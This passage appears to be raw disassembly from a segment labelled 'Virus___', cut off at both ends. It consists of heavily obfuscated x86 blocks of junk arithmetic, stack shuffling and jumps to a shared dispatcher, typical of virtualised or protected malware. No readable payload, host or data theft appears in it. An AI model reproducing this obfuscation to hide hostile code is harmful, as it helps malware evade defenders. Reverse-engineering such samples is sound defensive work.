4 xchg ecx, [esp] jmp loc_578601 ; --------------------------------------------------------------------------- loc_5769BA: ; CODE XREF: Virus___:005789BCj xchg esi, [esp] jmp loc_57801F ; --------------------------------------------------------------------------- loc_5769C2: ; CODE XREF: Virus___:00577C3Fj push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push 744Ch jmp loc_578CFA ; --------------------------------------------------------------------------- loc_5769E7: ; CODE XREF: Virus___:00575C68j mov [esp], ecx mov ecx, 4EC16400h neg ecx push esi mov esi, 78710E4Bh jmp loc_57672E ; --------------------------------------------------------------------------- loc_5769FC: ; CODE XREF: Virus___:00572CAEj mov [esp], edx push 0A540A1h push dword ptr [esp] pop edx add esp, 4 and edx, 3DA4579Fh push ecx jmp loc_577FFB ; --------------------------------------------------------------------------- loc_576A1A: ; CODE XREF: Virus___:0057BC41j add [esp+4], edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push 15Fh mov [esp], ebp push esi mov esi, 7B6D227Bh or esi, 4A66085Bh sub esi, 1F910382h neg esi and esi, 49092835h add esi, 0FFFEF7FFh mov ebp, esi pop esi add ecx, ebp pop ebp xchg ecx, [esp] pop esp jmp loc_57E603 ; --------------------------------------------------------------------------- loc_576A6A: ; CODE XREF: Virus___:0057E51Bj push edi mov edi, 163E48C3h shr edi, 3 add edi, 0FD3836E9h mov esi, edi mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push esi pop ebp push dword ptr [esp] pop esi push edi jmp loc_57CF2E ; --------------------------------------------------------------------------- loc_576A9A: ; CODE XREF: Virus___:00578C1Dj pop edx push 3DE7h jmp loc_573D0E ; --------------------------------------------------------------------------- loc_576AA5: ; CODE XREF: Virus___:0057D371j add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] push dword ptr [esp] jmp loc_576E4C ; --------------------------------------------------------------------------- loc_576ABA: ; CODE XREF: Virus___:0057692Cj push dword ptr [esp+4] mov edx, [esp] jmp loc_57D304 ; --------------------------------------------------------------------------- loc_576AC6: ; CODE XREF: Virus___:0057DFBBj mov [esp], esi jmp loc_57524A ; --------------------------------------------------------------------------- loc_576ACE: ; CODE XREF: Virus___:005758D7j push ebx mov ebx, 37A839BBh jmp loc_5756B9 ; --------------------------------------------------------------------------- loc_576AD9: ; CODE XREF: Virus___:00575B98j mov [esp], ecx mov ecx, 2 jmp loc_573E4E ; --------------------------------------------------------------------------- loc_576AE6: ; CODE XREF: Virus___:00575603j and edi, 2F9A6041h neg edi sub edi, 0D8679FBBh add ebp, 377D2D21h add ebp, edi sub ebp, 377D2D21h mov edi, [esp] jmp loc_5770BE ; --------------------------------------------------------------------------- loc_576B0A: ; CODE XREF: Virus___:005767DAj mov esi, 43DE163Ch inc esi jmp loc_5764DE ; --------------------------------------------------------------------------- loc_576B15: ; CODE XREF: Virus___:0057CFA3j add al, dl sub al, 96h pop edx sub al, bl sub al, 0D4h push dword ptr [esp] pop ebx add esp, 4 push 4778h mov [esp], ecx mov cl, 0CEh or cl, 11h push edx mov dl, 1Ch add dl, 0AFh push ecx mov ch, 0E2h not ch shl ch, 3 shl ch, 5 or ch, 7Fh xor ch, 57h jmp loc_57547C ; --------------------------------------------------------------------------- loc_576B51: ; CODE XREF: Virus___:00578867j sub edi, edx jmp loc_576931 ; --------------------------------------------------------------------------- loc_576B58: ; CODE XREF: Virus___:005743B3j pop edi jmp loc_579B22 ; --------------------------------------------------------------------------- loc_576B5E: ; CODE XREF: Virus___:0057CD86j mov [esp], ebx mov ebx, 0 add ebx, eax add [ebx], ebp pop ebx pop eax pop ebp loc_576B6D: ; CODE XREF: Virus___:005791D0j push 17ACh mov [esp], ebx push edx push 5745h mov [esp], esi jmp loc_57A571 ; --------------------------------------------------------------------------- loc_576B83: ; CODE XREF: Virus___:00576319j pop edi sub edi, 0DAB6B959h sub esi, 2E902FB9h add esi, edi jmp loc_576059 ; --------------------------------------------------------------------------- loc_576B97: ; CODE XREF: Virus___:00574A0Dj mov ah, 2Ch add ah, 0 xor ah, 2 xor dh, ah jmp loc_575B40 ; --------------------------------------------------------------------------- loc_576BA6: ; CODE XREF: Virus___:0057AC48j add ecx, esi add ecx, 0D1C75ACh jmp loc_57BBB7 ; --------------------------------------------------------------------------- loc_576BB3: ; CODE XREF: Virus___:005794AEj sub esi, 4 xchg esi, [esp] jmp loc_57C697 ; --------------------------------------------------------------------------- loc_576BBE: ; CODE XREF: Virus___:0057EC87j xor ecx, [esp] pop esp mov ax, [esp] push 2D28h mov [esp], eax mov eax, esp add eax, 4 push edx mov edx, 2 sub eax, 11855C28h add eax, 26635FB3h add eax, edx push edi mov edi, 2A9A1AE5h jmp loc_57D7FD ; --------------------------------------------------------------------------- loc_576BF2: ; CODE XREF: Virus___:005737F9j pop ebp push eax push edx push 0CAF4855h mov edx, [esp] add esp, 4 jmp loc_57445B ; --------------------------------------------------------------------------- loc_576C08: ; CODE XREF: Virus___:0057B31Aj shl esi, 4 inc esi sub esi, 2E5C89E2h jmp loc_577F2C ; --------------------------------------------------------------------------- loc_576C17: ; CODE XREF: Virus___:0057D182j xor bx, di pop edi xor cx, bx mov bx, [esp] add esp, 2 sub cx, 0C92Ah sub esp, 2 jmp loc_57EB7A ; --------------------------------------------------------------------------- loc_576C38: ; CODE XREF: Virus___:0057DF66j xor ecx, 0C460731Bh push edi mov edi, 2A7A3F5Ch add eax, edi jmp loc_57A6FA ; --------------------------------------------------------------------------- loc_576C4B: ; CODE XREF: Virus___:0057B358j pop dword ptr [esp] pop esp mul ecx push 7B1Eh mov [esp], edx push eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576C60: ; CODE XREF: Virus___:0057C55Cj xchg ecx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576C70: ; CODE XREF: Virus___:0057A339j pop esp add eax, ebx push 2E3Bh jmp loc_5797CD ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576C86: ; CODE XREF: Virus___:0057636Aj push 6EAD7319h jmp loc_57D8D7 ; --------------------------------------------------------------------------- loc_576C90: ; CODE XREF: Virus___:005755ACj add ecx, 4 push esi mov esi, 4 sub ecx, 1E69479Eh add ecx, esi add ecx, 1E69479Eh pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_57BCA3 ; --------------------------------------------------------------------------- loc_576CB9: ; CODE XREF: Virus___:0057A37Dj add esp, 4 jmp loc_576641 ; --------------------------------------------------------------------------- loc_576CC4: ; CODE XREF: Virus___:00575796j mov ah, 6Dh push ebx push ecx jmp loc_57C602 ; --------------------------------------------------------------------------- loc_576CCD: ; CODE XREF: Virus___:00574647j mov edi, [esp] push ebp jmp loc_577305 ; --------------------------------------------------------------------------- loc_576CD6: ; CODE XREF: Virus___:0057EFB3j mov bl, 0A2h and bl, 37h push ax mov ah, 0B4h jmp loc_57E9A6 ; --------------------------------------------------------------------------- loc_576CE4: ; CODE XREF: Virus___:00577DD7j mov esi, 2AA02CDh add eax, esi pop esi mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_57D779 ; --------------------------------------------------------------------------- loc_576CFD: ; CODE XREF: Virus___:0057DAE2j xor ebx, ecx pop ecx sub ebp, ebx jmp loc_57A270 ; --------------------------------------------------------------------------- loc_576D07: ; CODE XREF: Virus___:00579B1Dj push ebx mov ebx, 4 add ecx, ebx pop ebx push ebp mov ebp, 12E34468h jmp loc_57821A ; --------------------------------------------------------------------------- loc_576D1B: ; CODE XREF: Virus___:0057575Ej push 77700B20h pop ebp neg ebp push esi mov esi, 6DC03CA2h xor esi, 2E7D6077h jmp loc_57EBA3 ; --------------------------------------------------------------------------- loc_576D34: ; CODE XREF: Virus___:00572A9Cj push esi jmp loc_57BE7C ; --------------------------------------------------------------------------- loc_576D3A: ; CODE XREF: Virus___:0057ECDEj add edx, 2CEB7852h jmp loc_57DD2D ; --------------------------------------------------------------------------- loc_576D45: ; CODE XREF: Virus___:00579F17j push edx push 6D01h mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], ebx push edi push ecx mov ecx, 33B11699h and ecx, 6BE10B5Ch sub ecx, 563675A2h sub ecx, 789F17F4h mov edi, ecx pop ecx shl edi, 3 jmp loc_57C482 ; --------------------------------------------------------------------------- loc_576D80: ; CODE XREF: Virus___:00577094j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576D85: ; CODE XREF: Virus___:0057BBE9j push edx mov edx, esp push ebp jmp loc_578697 ; --------------------------------------------------------------------------- loc_576D8E: ; CODE XREF: Virus___:00574EF5j add ecx, 660E5073h add ecx, ebx sub ecx, 660E5073h push edx mov edx, 32883F96h not edx jmp loc_57A760 ; --------------------------------------------------------------------------- loc_576DA9: ; CODE XREF: Virus___:0057D5C2j add edx, 15AD7E59h sub edx, ebx sub edx, 15AD7E59h pop ebx xor edx, [esp] xor [esp], edx jmp loc_57EA0F ; --------------------------------------------------------------------------- loc_576DC3: ; CODE XREF: Virus___:00573433j xchg edx, ebp xchg ebp, edx not ebp xchg ebp, edx xchg edx, ebp xchg ebp, ebx xor ebx, 75B60D20h push esi push eax mov eax, 502B67ABh mov esi, eax jmp loc_57B30D ; --------------------------------------------------------------------------- loc_576DE3: ; CODE XREF: Virus___:0057C286j dec bl jmp loc_57C191 ; --------------------------------------------------------------------------- loc_576DEA: ; CODE XREF: Virus___:00579BC7j add esp, 4 push ebx mov ebx, 4 sub eax, 2DC97F91h sub eax, 76BD0E98h jmp loc_5741CB ; --------------------------------------------------------------------------- loc_576E05: ; CODE XREF: Virus___:0057A2C0j mov dh, 3Fh mov al, dh pop edx add bh, al pop ax sub bh, 60h jmp loc_57B878 ; --------------------------------------------------------------------------- loc_576E16: ; CODE XREF: Virus___:005794C8j push edx push ebx mov ebx, 25D7634Ch jmp loc_579333 ; --------------------------------------------------------------------------- loc_576E22: ; CODE XREF: Virus___:0057E002j mov esi, esp jmp loc_5794A8 ; --------------------------------------------------------------------------- loc_576E29: ; CODE XREF: Virus___:00573CE5j mov [esp], ebp push esp pop ebp push edi mov edi, 4 jmp loc_57D7DF ; --------------------------------------------------------------------------- loc_576E39: ; CODE XREF: Virus___:0057E114j sub ebx, 327F60C5h add ebx, edx add ebx, 327F60C5h jmp loc_577016 ; --------------------------------------------------------------------------- loc_576E4C: ; CODE XREF: Virus___:00576AB5j pop eax add esp, 4 push 2164h mov [esp], ebp push ebx push 3023981h jmp loc_575F0D ; --------------------------------------------------------------------------- loc_576E63: ; CODE XREF: Virus___:00573B36j push 3471h mov [esp], esi mov esi, 3AD70223h jmp loc_57913C ; --------------------------------------------------------------------------- loc_576E75: ; CODE XREF: Virus___:0057E4B7j not esi jmp loc_57B346 ; --------------------------------------------------------------------------- loc_576E7C: ; CODE XREF: Virus___:0057CEC2j mov esp, [esp] push ecx push esp jmp loc_572B44 ; --------------------------------------------------------------------------- loc_576E86: ; CODE XREF: Virus___:0057ACA0j add esp, 4 push edi jmp loc_577CB3 ; --------------------------------------------------------------------------- loc_576E8F: ; CODE XREF: Virus___:00577E31j add esp, 4 sub eax, 363A021Ch add eax, ebp push ebp mov ebp, 363A021Ch add eax, 68C05EA6h add eax, ebp sub eax, 68C05EA6h pop ebp pop ebp push edx mov edx, 2 sub eax, edx pop edx xchg eax, [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576ECF: ; CODE XREF: Virus___:0057B026j mov esi, [esp] add esp, 4 push esi push ecx mov ecx, 0F6745E5h mov esi, ecx mov ecx, [esp] add esp, 4 add ebx, esi mov esi, [esp] jmp loc_575171 ; --------------------------------------------------------------------------- loc_576EF1: ; CODE XREF: Virus___:0057B412j add esi, 224A31CBh add esi, 4C2B04CBh add esi, 16168E39h mov ebx, esi pop esi push ebx pop edx pop ebx and ecx, edx push dword ptr [esp] jmp loc_575486 ; --------------------------------------------------------------------------- loc_576F13: ; CODE XREF: Virus___:005773EDj mov ebp, 4 add edi, ebp jmp loc_5790D1 ; --------------------------------------------------------------------------- loc_576F1F: ; CODE XREF: Virus___:00575D6Cj sub esp, 4 mov [esp], ecx mov ecx, 1A6129B7h jmp loc_57585A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_576F42: ; CODE XREF: Virus___:005795DAj xor ebx, [esp] mov esp, [esp] mov cx, [esp] push 6008h mov [esp], ebp jmp loc_575F7A ; --------------------------------------------------------------------------- mov ax, [esp] push edx jmp loc_577376 ; --------------------------------------------------------------------------- loc_576F63: ; CODE XREF: Virus___:0057EDE1j pop esi add esp, 4 push ebx mov ebx, 4382293Dh sub esp, 4 mov [esp], ebp jmp loc_57DF8A ; --------------------------------------------------------------------------- loc_576F7B: ; CODE XREF: Virus___:0057AAF5j mov [esp], edx mov edx, 2C62077Ah sub ecx, edx pop edx shr ecx, 5 add ecx, 7AF664A7h jmp loc_57C2C0 ; --------------------------------------------------------------------------- loc_576F94: ; CODE XREF: Virus___:005739BCj mov edx, 16CFC49Eh add edx, ecx pop ecx add ebx, edx pop edx xor ebx, 0DA6CA257h push edx push ebx push edx mov edx, 0C233B1h jmp loc_57ECE9 ; --------------------------------------------------------------------------- loc_576FB2: ; CODE XREF: Virus___:0057B6F4j add eax, 489C1E83h pop ecx push ebx jmp loc_577C6C ; --------------------------------------------------------------------------- loc_576FBE: ; CODE XREF: Virus___:0057A9EFj mov edi, 2 push 1C3Ah jmp loc_577D70 ; --------------------------------------------------------------------------- loc_576FCD: ; CODE XREF: Virus___:00575F9Bj push ebx mov bl, 3 shr bl, 4 dec bl xor bl, 92h inc bl xor bl, 8 jmp loc_578E6D ; --------------------------------------------------------------------------- pop cx push ecx mov ch, 0Fh add dh, ch pop ecx jmp loc_57EE1E ; --------------------------------------------------------------------------- loc_576FEF: ; CODE XREF: Virus___:0057BAB2j mov [esp], esi mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov esi, [esp] add esp, 4 jmp loc_57E18A ; --------------------------------------------------------------------------- loc_577016: ; CODE XREF: Virus___:00576E47j sub ebx, 53117A1Ch pop edx push 385Ch mov [esp], eax mov eax, 2 add ebx, eax pop eax xor ebx, [esp] jmp loc_579AB0 ; --------------------------------------------------------------------------- loc_577035: ; CODE XREF: Virus___:005779CFj pop dword ptr [esp] push edi jmp loc_57BC3C ; --------------------------------------------------------------------------- loc_57703E: ; CODE XREF: Virus___:00575148j inc eax jmp loc_57D7B1 ; --------------------------------------------------------------------------- push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], esp push 7918h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], esi mov esi, 4 add [esp+4], esi pop esi mov edx, [esp] add esp, 4 jmp loc_576D80 ; --------------------------------------------------------------------------- loc_577099: ; CODE XREF: Virus___:0057CEFDj sub edi, 2162B2FEh xor eax, edi mov edi, [esp] add esp, 4 jmp loc_576375 ; --------------------------------------------------------------------------- loc_5770AF: ; CODE XREF: Virus___:005783E6j add eax, ecx jmp loc_5789DB ; --------------------------------------------------------------------------- loc_5770B6: ; CODE XREF: Virus___:0057719Aj xor edi, [esp] jmp loc_57B0C7 ; --------------------------------------------------------------------------- loc_5770BE: ; CODE XREF: Virus___:00576B05j add esp, 4 jmp loc_57CB00 ; --------------------------------------------------------------------------- loc_5770C6: ; CODE XREF: Virus___:0057D050j add ebp, 5CBC178Fh jmp loc_578679 ; --------------------------------------------------------------------------- loc_5770D1: ; CODE XREF: Virus___:0057EB91j push ebx pop ebp pop ebx mov edx, ebp pop ebp pop ecx pop ebp and eax, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_579830 ; --------------------------------------------------------------------------- loc_5770F5: ; CODE XREF: Virus___:0057374Ej push edx push ebp push 190A7AE5h pop ebp and ebp, 30DC26E9h jmp loc_573F0E ; --------------------------------------------------------------------------- loc_577108: ; CODE XREF: Virus___:005767B4j pop esi sub eax, edx pop edx xchg eax, [esp] mov esp, [esp] mov [esp], edx mov edx, 5FEB1BC1h not edx add edx, 9B30629h push eax mov eax, 42D640B4h sub edx, eax mov eax, [esp] add esp, 4 push edx jmp loc_57D9F7 ; --------------------------------------------------------------------------- loc_577139: ; CODE XREF: Virus___:00574F8Aj add edx, ecx add edx, 59305C79h jmp loc_57E282 ; --------------------------------------------------------------------------- loc_577146: ; CODE XREF: Virus___:00574EE4j mov ecx, ebp jmp loc_57CB3A ; --------------------------------------------------------------------------- loc_57714D: ; CODE XREF: Virus___:005765D3j sub esp, 4 mov [esp], ecx mov ecx, 24B017A6h shr ecx, 7 sub ecx, 49602Bh sub ebx, 50E90A3Bh sub esp, 4 mov [esp], ebp mov ebp, 341A65F9h push esi mov esi, 12F00075h xor ebp, esi pop esi jmp loc_57B8F0 ; --------------------------------------------------------------------------- loc_577183: ; CODE XREF: Virus___:00579812j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebp jmp loc_57E8C9 ; --------------------------------------------------------------------------- loc_577197: ; CODE XREF: Virus___:00574D94j xor [esp], edi jmp loc_5770B6 ; --------------------------------------------------------------------------- loc_57719F: ; CODE XREF: Virus___:00573CD7j add esp, 4 mov cl, dh pop edx push bx mov bl, cl mov cl, [esp+2] mov [esp+2], bl jmp loc_578745 ; --------------------------------------------------------------------------- loc_5771B6: ; CODE XREF: Virus___:005735EFj mov esi, 2E472874h dec esi dec esi not esi shr esi, 1 inc esi sub esi, 50194751h jmp loc_57BEE3 ; --------------------------------------------------------------------------- loc_5771CD: ; CODE XREF: Virus___:0057B8D5j dec edi jmp loc_57EE84 ; --------------------------------------------------------------------------- loc_5771D3: ; CODE XREF: Virus___:0057C25Ej xor ebp, edi jmp loc_57EB3E ; --------------------------------------------------------------------------- loc_5771DA: ; CODE XREF: Virus___:0057C0A0j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, 4 add esi, ebp mov ebp, [esp] add esp, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] loc_577202: ; CODE XREF: Virus___:00575B4Bj sub esp, 4 jmp loc_57E9F4 ; --------------------------------------------------------------------------- loc_57720A: ; CODE XREF: Virus___:0057D09Aj xor [esp], ebp xor ebp, [esp] jmp loc_57BC91 ; --------------------------------------------------------------------------- loc_577215: ; CODE XREF: Virus___:0057B2BAj sub bl, ah pop eax jmp loc_578EC2 ; --------------------------------------------------------------------------- loc_57721D: ; CODE XREF: Virus___:0057B470j add edi, ebp pop ebp push ebp jmp loc_57AF8F ; --------------------------------------------------------------------------- loc_577226: ; CODE XREF: Virus___:0057BE6Bj pop eax jmp loc_57980C ; --------------------------------------------------------------------------- loc_57722C: ; CODE XREF: Virus___:00574742j push ebx jmp loc_57B898 ; --------------------------------------------------------------------------- loc_577232: ; CODE XREF: Virus___:0057CB10j not ebx jmp loc_575219 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5749CD ; --------------------------------------------------------------------------- loc_577254: ; CODE XREF: Virus___:0057CBC4j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577259: ; CODE XREF: Virus___:0057A6BEj pop bp jmp loc_572CF2 ; --------------------------------------------------------------------------- loc_577260: ; CODE XREF: Virus___:00579C74j mov ecx, 72626E2Bh sub eax, 35EB4769h jmp loc_57A4EA ; --------------------------------------------------------------------------- loc_57726F: ; CODE XREF: Virus___:00574798j add esp, 4 add esp, 4 push 63E1h mov [esp], eax jmp loc_57B809 ; --------------------------------------------------------------------------- loc_577282: ; CODE XREF: Virus___:0057D6B4j mov ecx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp shr ecx, 2 push 2F50h jmp loc_57C31D ; --------------------------------------------------------------------------- loc_57729F: ; CODE XREF: Virus___:00577A0Bj or ecx, 7F0520E5h push ebx mov ebx, 80F8DF0Dh jmp loc_574EE9 ; --------------------------------------------------------------------------- loc_5772B0: ; CODE XREF: Virus___:0057D6A3j mov edx, edi mov edi, [esp] add esp, 4 pop eax push ecx mov ecx, 29FC1E64h sub ecx, 7CA6395Eh dec ecx jmp loc_574AAC ; --------------------------------------------------------------------------- loc_5772CE: ; CODE XREF: Virus___:0057ABDAj add ebx, ecx jmp loc_57A329 ; --------------------------------------------------------------------------- loc_5772D5: ; CODE XREF: Virus___:00576380j add esp, 4 push ebx mov ebx, 41662E07h shl ebx, 1 jmp loc_573AC7 ; --------------------------------------------------------------------------- loc_5772E8: ; CODE XREF: Virus___:00572FBCj push 19C36F6Ah mov ecx, [esp] add esp, 4 inc ecx inc ecx xor ecx, 19C36F6Ch mov ebx, ecx jmp loc_5778F9 ; --------------------------------------------------------------------------- loc_577305: ; CODE XREF: Virus___:00576CD1j mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] inc word ptr [esp] pushf jmp loc_57A80B ; --------------------------------------------------------------------------- loc_57732A: ; CODE XREF: Virus___:00572C18j push edi push esp pop edi add edi, 4 push ebp mov ebp, 534157E5h xor ebp, 6228083Fh push ebx jmp loc_574EC2 ; --------------------------------------------------------------------------- loc_577345: ; CODE XREF: Virus___:0057C2E2j push edi pop ecx jmp loc_57E28D ; --------------------------------------------------------------------------- loc_57734C: ; CODE XREF: Virus___:0057A2A1j mov esp, [esp] jmp loc_57770B ; --------------------------------------------------------------------------- loc_577354: ; CODE XREF: Virus___:0057DB9Fj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577359: ; CODE XREF: Virus___:00578971j mov cl, bl pop ebx mov dh, cl pop ecx pop ax xchg dh, [esp] pop ecx sub cl, 0F5h add al, cl pop ecx sub esp, 4 mov [esp], edx jmp loc_57A488 ; --------------------------------------------------------------------------- loc_577376: ; CODE XREF: Virus___:00576F5Ej mov edx, esp add edx, 4 jmp loc_57BF81 ; --------------------------------------------------------------------------- loc_577383: ; CODE XREF: Virus___:0057E817j mov eax, 24h add eax, edi push edx mov edx, 0 add edx, eax add dword ptr [edx], 1 pop edx push dword ptr [esp] pop eax push 34DCh mov [esp], esi jmp loc_57C09D ; --------------------------------------------------------------------------- loc_5773AA: ; CODE XREF: Virus___:005761F8j add esp, 4 jmp loc_572F02 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_574129 ; --------------------------------------------------------------------------- loc_5773BA: ; CODE XREF: Virus___:00575F82j mov [esp], ecx push 4 pop ecx sub ebp, 2D10522h add ebp, ecx add ebp, 2D10522h jmp loc_57E91A ; --------------------------------------------------------------------------- loc_5773D6: ; CODE XREF: Virus___:0057596Cj add esp, 4 push edi mov edi, esp add edi, 4 push 2AC9h mov [esp], ebp jmp loc_576F13 ; --------------------------------------------------------------------------- loc_5773F2: ; CODE XREF: Virus___:0057A0DCj sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_578809 ; --------------------------------------------------------------------------- loc_577401: ; CODE XREF: Virus___:0057EBDDj add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 jmp loc_573BCB ; --------------------------------------------------------------------------- loc_57741C: ; CODE XREF: Virus___:0057EA8Dj sub esi, 9A8326Ch jmp loc_57968C ; --------------------------------------------------------------------------- loc_577427: ; CODE XREF: Virus___:0057828Aj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edx, 4 push 25BCh mov [esp], edi push ecx mov ecx, 0C2340FAh and ecx, 469A57B1h jmp loc_57AAEC ; --------------------------------------------------------------------------- loc_577456: ; CODE XREF: Virus___:00577D15j push 265Ah jmp loc_57C409 ; --------------------------------------------------------------------------- loc_577460: ; CODE XREF: Virus___:00578A28j sub esp, 4 mov [esp], esi mov esi, 4315495Eh mov ebx, esi pop esi xor ebx, 6AD425E3h jmp loc_573A30 ; --------------------------------------------------------------------------- loc_577479: ; CODE XREF: Virus___:0057D28Dj mov [esp], eax mov eax, 0A806862Ah sub ebx, 301F1880h jmp loc_57E858 ; --------------------------------------------------------------------------- loc_57748C: ; CODE XREF: Virus___:00573099j push edi mov edi, 5EEC3CE6h push eax mov eax, 0A113C31Ah sub edi, 67632C38h add edi, eax jmp loc_572F10 ; --------------------------------------------------------------------------- loc_5774A5: ; CODE XREF: Virus___:00572BA4j pop ebp xchg eax, [esp] mov esp, [esp] xor [esp], al pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5774B5: ; CODE XREF: Virus___:00578945j xchg ah, bl shr bl, 7 xor bl, 3 and dh, bl mov ebx, [esp] add esp, 4 sub dh, 0D6h xor al, dh pop edx xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5774D8: ; CODE XREF: Virus___:0057CA20j sub ebp, 15D05592h jmp loc_57D7BE ; --------------------------------------------------------------------------- loc_5774E3: ; CODE XREF: Virus___:005794F2j pop edx push ebx mov ebx, 0 sub ebx, eax mov eax, ebx pop ebx jmp loc_57E09E ; --------------------------------------------------------------------------- loc_5774F4: ; CODE XREF: Virus___:0057B3AFj pop edx mov edi, ebp jmp loc_575A81 ; --------------------------------------------------------------------------- loc_5774FC: ; CODE XREF: Virus___:005752DAj mov [esp], ecx mov ecx, 1 jmp loc_57D808 ; --------------------------------------------------------------------------- loc_577509: ; CODE XREF: Virus___:0057BB5Bj add ebp, 0D81F2C59h jmp loc_579354 ; --------------------------------------------------------------------------- loc_577514: ; CODE XREF: Virus___:0057E06Bj shr eax, 2 push edi mov edi, 37F66312h sub edi, 33AA5848h sub edi, 0D80F5D8Bh jmp loc_57A4B5 ; --------------------------------------------------------------------------- loc_57752E: ; CODE XREF: Virus___:005757E6j add esp, 4 push ebp mov ebp, 4 add esi, ebp pop ebp sub esi, 4 jmp loc_57C08B ; --------------------------------------------------------------------------- loc_577548: ; CODE XREF: Virus___:0057C51Fj push ebp jmp loc_577F0D ; --------------------------------------------------------------------------- loc_57754E: ; CODE XREF: Virus___:0057EE0Aj mov bx, [esp] add esp, 2 xor bl, al movzx eax, al push dword ptr [edi+eax*4] push 63A1h mov [esp], eax push edi jmp loc_577EC0 ; --------------------------------------------------------------------------- loc_57756E: ; CODE XREF: Virus___:00578EE4j xor ebx, 0B9E545BBh sub ecx, ebx mov ebx, [esp] add esp, 4 add edi, ecx mov ecx, [esp] jmp loc_5766ED ; --------------------------------------------------------------------------- loc_577589: ; CODE XREF: Virus___:0057604Ej mov [esp], ebp jmp loc_57D2DA ; --------------------------------------------------------------------------- loc_577591: ; CODE XREF: Virus___:00573A6Cj mov esi, [esp] add esp, 4 xor ebx, [esp] jmp loc_573525 ; --------------------------------------------------------------------------- loc_5775A2: ; CODE XREF: Virus___:00579105j push 5098h mov [esp], edi mov edi, 65963756h push edx mov edx, 1F8A06A1h and edi, edx mov edx, [esp] add esp, 4 dec edi shl edi, 8 push ebx mov ebx, 59AF7C8Ch shr ebx, 1 xor ebx, 52ADBF46h add edi, ebx mov ebx, [esp] push 336h mov [esp], esi mov esi, esp push ebp mov ebp, 77477648h inc ebp xor ebp, 5E7E74BEh add ebp, 0D6C6FD0Dh add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_572F4C ; --------------------------------------------------------------------------- loc_577601: ; CODE XREF: Virus___:00577C2Bj mov edx, 39C4759Dh mov esi, edx jmp loc_57514D ; --------------------------------------------------------------------------- loc_57760D: ; CODE XREF: Virus___:005797C1j mov edx, 4 add ebp, edx pop edx xchg ebp, [esp] jmp loc_57E043 ; --------------------------------------------------------------------------- loc_57761D: ; CODE XREF: Virus___:0057D5AAj mov eax, 4 jmp loc_577ACD ; --------------------------------------------------------------------------- loc_577627: ; CODE XREF: Virus___:0057C031j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_576415 ; --------------------------------------------------------------------------- loc_577642: ; CODE XREF: Virus___:0057CACFj push ecx push 14DEh mov [esp], eax mov eax, 75B4134Fh mov ecx, eax pop eax neg ecx jmp loc_57DF63 ; --------------------------------------------------------------------------- loc_57765A: ; CODE XREF: Virus___:00575538j mov esp, [esp] jmp loc_572CD5 ; --------------------------------------------------------------------------- mov ax, [esp] push 586Ah jmp loc_57EBE2 ; --------------------------------------------------------------------------- loc_577670: ; CODE XREF: Virus___:0057E2DCj mov ebx, esp push edx mov edx, 4 add ebx, edx pop edx push ecx mov ecx, 6AB76730h shr ecx, 3 jmp loc_57EA77 ; --------------------------------------------------------------------------- loc_577689: ; CODE XREF: Virus___:005766BAj mov ebp, ebx pop ebx push edi jmp loc_57D447 ; --------------------------------------------------------------------------- loc_577692: ; CODE XREF: Virus___:00579E49j xor [esp], edi xor edi, [esp] pop esp mov [esp], ecx jmp loc_57664F ; --------------------------------------------------------------------------- loc_5776A1: ; CODE XREF: Virus___:00575A8Bj pop eax add esp, 4 and ecx, edi pop edi shr ecx, 0Ah jmp loc_57A530 ; --------------------------------------------------------------------------- loc_5776B0: ; CODE XREF: Virus___:005780EBj and ebx, 57340F83h dec ebx add ebx, 0B8FBF403h mov ecx, ebx pop ebx add eax, 3A7C51A0h add eax, ecx sub eax, 3A7C51A0h mov ecx, [esp] add esp, 4 xchg eax, [esp] pop esp jmp loc_57D590 ; 